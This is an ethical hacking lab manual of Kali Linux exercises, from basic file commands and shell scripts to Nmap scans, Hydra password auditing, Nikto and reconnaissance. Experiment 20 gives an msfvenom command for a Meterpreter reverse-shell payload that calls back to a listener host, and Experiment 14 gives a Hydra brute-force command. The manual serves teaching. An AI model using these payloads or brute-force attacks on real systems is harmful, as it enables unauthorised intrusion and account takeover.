

LAB MANUAL

Ethical Hacking Laboratory – Kali Linux Commands and Nmap Scanning

Course Code: Ethical Hacking Laboratory

Software Required: Kali Linux (Latest Version)

Experiment 1

Basic File and User Management Commands

Aim

To execute and understand the usage of **rm**, **users**, and **tree** commands in Kali Linux.

Theory

rm Command

The rm command is used to remove files and directories from the Linux file system.

Syntax:

rm filename

Example:

```
touch test.txt  
rm test.txt
```

Users Command

Displays the usernames of users currently logged into the system.

Syntax:

users

tree Command

Displays directories and files in a tree-like structure.

Syntax:

tree

Procedure

1. Open Kali Linux Terminal.
2. Create a sample file.
3. Execute the rm command.
4. Execute the users command.

5. Execute the tree command.

Sample Output

```
kali@kali:~$ users
```

```
kali
```

```
kali@kali:~$ tree
```

```
.  
├── Documents  
├── Downloads  
└── Desktop
```

Result

Successfully executed rm, users, and tree commands in Kali Linux.

Experiment 2

File Viewing Commands

Aim

To execute and understand the usage of **less**, **more** and **vi** commands.

Theory

less Command

Displays file contents page by page.

```
less filename.txt
```

more Command

Displays file contents one screen at a time.

```
more filename.txt
```

vi Command

Text editor used to create and edit files.

```
vi filename.txt
```

Procedure

1. Create a text file.
2. Open the file using less.
3. Open the file using more.
4. Edit the file using vi.

Result

Successfully executed file viewing and editing commands.

Experiment 3

Tree, Head and Tail Commands

Aim

To execute and understand the usage of tree, head, and tail commands.

Theory

head Command

Displays the first 10 lines of a file.

```
head filename.txt
```

tail Command

Displays the last 10 lines of a file.

```
tail filename.txt
```

Procedure

1. Create a text file containing multiple lines.
2. Execute the head command.
3. Execute the tail command.
4. Display directory structure using tree.

Sample Output

```
head student.txt
```

1. Arun
2. Bala
3. Kumar

```
tail student.txt
```

18. Ravi
19. Suresh
20. Priya

Result

Successfully executed tree, head, and tail commands.

Experiment 4

Directory and File Display Commands

Aim

To execute ls, cat, and mkdir commands.

Theory

ls Command

Lists files and directories.

ls

cat Command

Displays file contents.

cat file.txt

mkdir Command

Creates a new directory.

mkdir EthicalHacking

Procedure

1. Create a directory using mkdir.
2. List files using ls.
3. Create a text file.
4. Display file contents using cat.

Result

Successfully executed ls, cat, and mkdir commands.

Experiment 5

System Information Commands

Aim

To execute **uptime**, **date**, and **mv** commands.

Theory

uptime Command

Shows system running time.

uptime

date Command

Displays current date and time.

date

mv Command

Moves or renames files.

mv file1.txt file2.txt

Procedure

1. Check system uptime.
2. Display current date.
3. Rename a file using mv.

Result

Successfully executed uptime, date, and mv commands.

Experiment 6

File Creation and Download Commands

Aim

To execute touch, pwd, and wget commands.

Theory

touch Command

Creates an empty file.

touch sample.txt

pwd Command

Displays current working directory.

pwd

wget Command

Downloads files from the internet.

wget https://example.com/file.zip

Procedure

1. Create a file using touch.
2. Display current directory using pwd.
3. Download a sample file using wget.

Result

Successfully executed touch, pwd, and wget commands.

Experiment 7

Navigation and Copy Commands

Aim

To execute cd, cp, and ls commands.

Theory

cd Command

Changes the current directory.

cd Documents

cp Command

Copies files and directories.

cp file1.txt backup.txt

Procedure

1. Navigate between directories using cd.
2. Copy files using cp.
3. Verify copied files using ls.

Result

Successfully executed cd, cp, and ls commands.

Experiment 8

Nmap Service Version and OS Detection

Aim

To perform service version detection and operating system identification using Nmap.

Theory

Nmap (Network Mapper) is an open-source network scanning tool used for network discovery and security auditing.

Commands

i) Detect Service Versions

```
nmap -sV 192.168.1.10
```

Description:

Determines the versions of services running on target ports.

ii) Aggressive Scan

```
nmap -A 192.168.1.10
```

Description:

Performs OS detection, version detection, script scanning, and traceroute.

iii) Operating System Detection

```
sudo nmap -O 192.168.1.10
```

Description:

Identifies the operating system running on the target host.

Sample Output

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 8.2
80/tcp	open	http	Apache 2.4

Result

Successfully performed service version detection and OS identification using Nmap.

Experiment 9

Nmap Timing and Performance Commands

Aim

To perform IDS evasion and timing scans using Nmap.

Theory

Timing options control the speed and stealthiness of Nmap scans.

Commands

i) Polite IDS Evasion

```
nmap -T2 192.168.1.10
```

Description:

Slows down scanning to reduce the chance of detection.

ii) Normal Scan

```
nmap -T3 192.168.1.10
```

Description:

Default balanced scanning speed.

Procedure

1. Identify target IP address.
2. Execute Nmap timing commands.
3. Observe scan duration and results.
4. Compare scan speeds.

Result

Successfully executed Nmap timing and performance scans in Kali Linux.

Experiment 10: Free, Sort and History Commands

Aim:

To execute and understand the usage of Free, Sort, and History commands in Kali Linux.

Commands:

free

```
free -h
```

sort file.txt

```
sort -r file.txt
```

history

```
history 10
```

Procedure:

1. Open Terminal in Kali Linux.
2. Execute the `free` command to view memory usage.
3. Create a text file and use the `sort` command.
4. Execute the `history` command to display previously executed commands.

Sample Output:

```
$ free -h
Mem: 7.6Gi  3.2Gi  2.1Gi
```

```
$ sort file.txt
Apple
Banana
Orange
$ history
1 ls
2 pwd
3 nmap localhost
```

Result:

Successfully executed Free, Sort, and History commands in Kali Linux.

Experiment 11: Nmap Timing and Performance

(i) Aggressive Speed Scan

Aim:

To perform aggressive speed scanning using Nmap.

Command:

```
nmap -T4 192.168.1.1
```

Procedure:

1. Open Terminal.
2. Enter the above command.
3. Observe the scan results.

Result:

Successfully performed aggressive scan using Nmap.

(ii) Insane Speed Scan

Aim:

To perform an insane speed scan using Nmap.

Command:

```
nmap -T5 192.168.1.1
```

Result:

Successfully executed Nmap insane speed scan.

Experiment 12: Port Scanning Tools

Aim:

To identify open ports on a target system.

Commands:

```
nmap 192.168.1.1  
nmap -sS 192.168.1.1
```

Result:

Open ports and running services were identified.

Experiment 13: Host Discovery

Aim:

To discover active hosts in a network.

Commands:

```
nmap -sn 192.168.1.0/24
```

Result:

Successfully discovered active hosts.

Experiment 14: Password Cracking Using Hydra

Aim:

To perform password auditing using Hydra.

Command:

```
hydra -l admin -P passwords.txt ftp://192.168.1.10
```

Procedure:

1. Create a password list.
2. Execute Hydra against an authorized test service.
3. Analyze results.

Result:

Successfully demonstrated password auditing using Hydra.

Experiment 15: Information Gathering Using theHarvester

Aim:

To gather publicly available information about a domain.

Command:

```
theHarvester -d example.com -b google
```

Result:

Collected emails, subdomains, and publicly available information.

Experiment 16: Reconnaissance Using Google and Whois

Aim:

To gather domain information.

Commands:

whois example.com

Google Dork Examples:

site:example.com

filetype:pdf site:example.com

Result:

Successfully gathered reconnaissance information.

Experiment 17: Windows OS Commands Execution

Aim:

To study common Windows networking commands.

Traceroute

tracert google.com

Ping

ping google.com

IP Configuration

ipconfig

ipconfig /all

Netstat

netstat -an

Result:

Successfully executed Windows networking commands.

Experiment 18: Vulnerability Analysis Using Nikto

Aim:

To identify web server vulnerabilities.

Command:

```
nikto -h http://target-ip
```

Result:

Successfully detected web server vulnerabilities.

Experiment 19: Wireshark Sniffer for Network Traffic Analysis

Aim:

To capture and analyze network packets.

Procedure:

1. Open Wireshark.
2. Select network interface.
3. Start packet capture.
4. Generate network traffic.
5. Analyze captured packets.

Result:

Successfully captured and analyzed network traffic.

Experiment 20: Payload Generation Using MSFVenom

Aim:

To generate a sample payload for educational purposes.

Command:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > payload.exe
```

Result:

Successfully generated a test payload.

Experiment 21: Batch File Execution

Aim:

To execute batch files.

Sample Batch File:

```
@echo off  
echo Welcome to Ethical Hacking Lab  
pause
```

Execution:

sample.bat

Result:

Successfully executed batch file.

Experiment 22: Packet Analyzer Tool

Aim:

To analyze network packets.

Tools:

- Wireshark
- Tcpdump

Commands:

```
tcpdump -i eth0
```

Result:

Successfully analyzed packets.

Experiment 23: Port Scanning Tools (Extended)

Aim:

To perform advanced port scanning.

Commands:

```
nmap -sV target-ip  
nmap -A target-ip  
nmap -p 1-65535 target-ip
```

Result:

Successfully identified services and ports.

Experiment 24: Nmap Timing & Performance

Aim:

To compare different timing templates.

Commands:

```
nmap -T0 target-ip  
nmap -T1 target-ip  
nmap -T2 target-ip  
nmap -T3 target-ip  
nmap -T4 target-ip  
nmap -T5 target-ip
```

Observation Table

Timing	Description
T0	Paranoid
T1	Sneaky
T2	Polite
T3	Normal
T4	Aggressive
T5	Insane

Result:

Successfully studied Nmap timing templates.

Experiment 25: Shell Programming

(i) Read a Number and Find Its Square

Program:

```
#!/bin/bash  
echo "Enter a number:"  
read n  
square=$((n*n))  
echo "Square = $square"
```

Output:

```
Enter a number: 5  
Square = 25
```

Result:

Successfully calculated square of a number.

(ii) Find the Biggest of Three Numbers

Program:

```
#!/bin/bash

echo "Enter three numbers:"
read a b c

if [ $a -ge $b ] && [ $a -ge $c ]
then
    echo "$a is largest"
elif [ $b -ge $a ] && [ $b -ge $c ]
then
    echo "$b is largest"
else
    echo "$c is largest"
fi
```

Output:

```
Enter three numbers:
10 25 15
25 is largest
```

Result:

Successfully identified the largest among three numbers.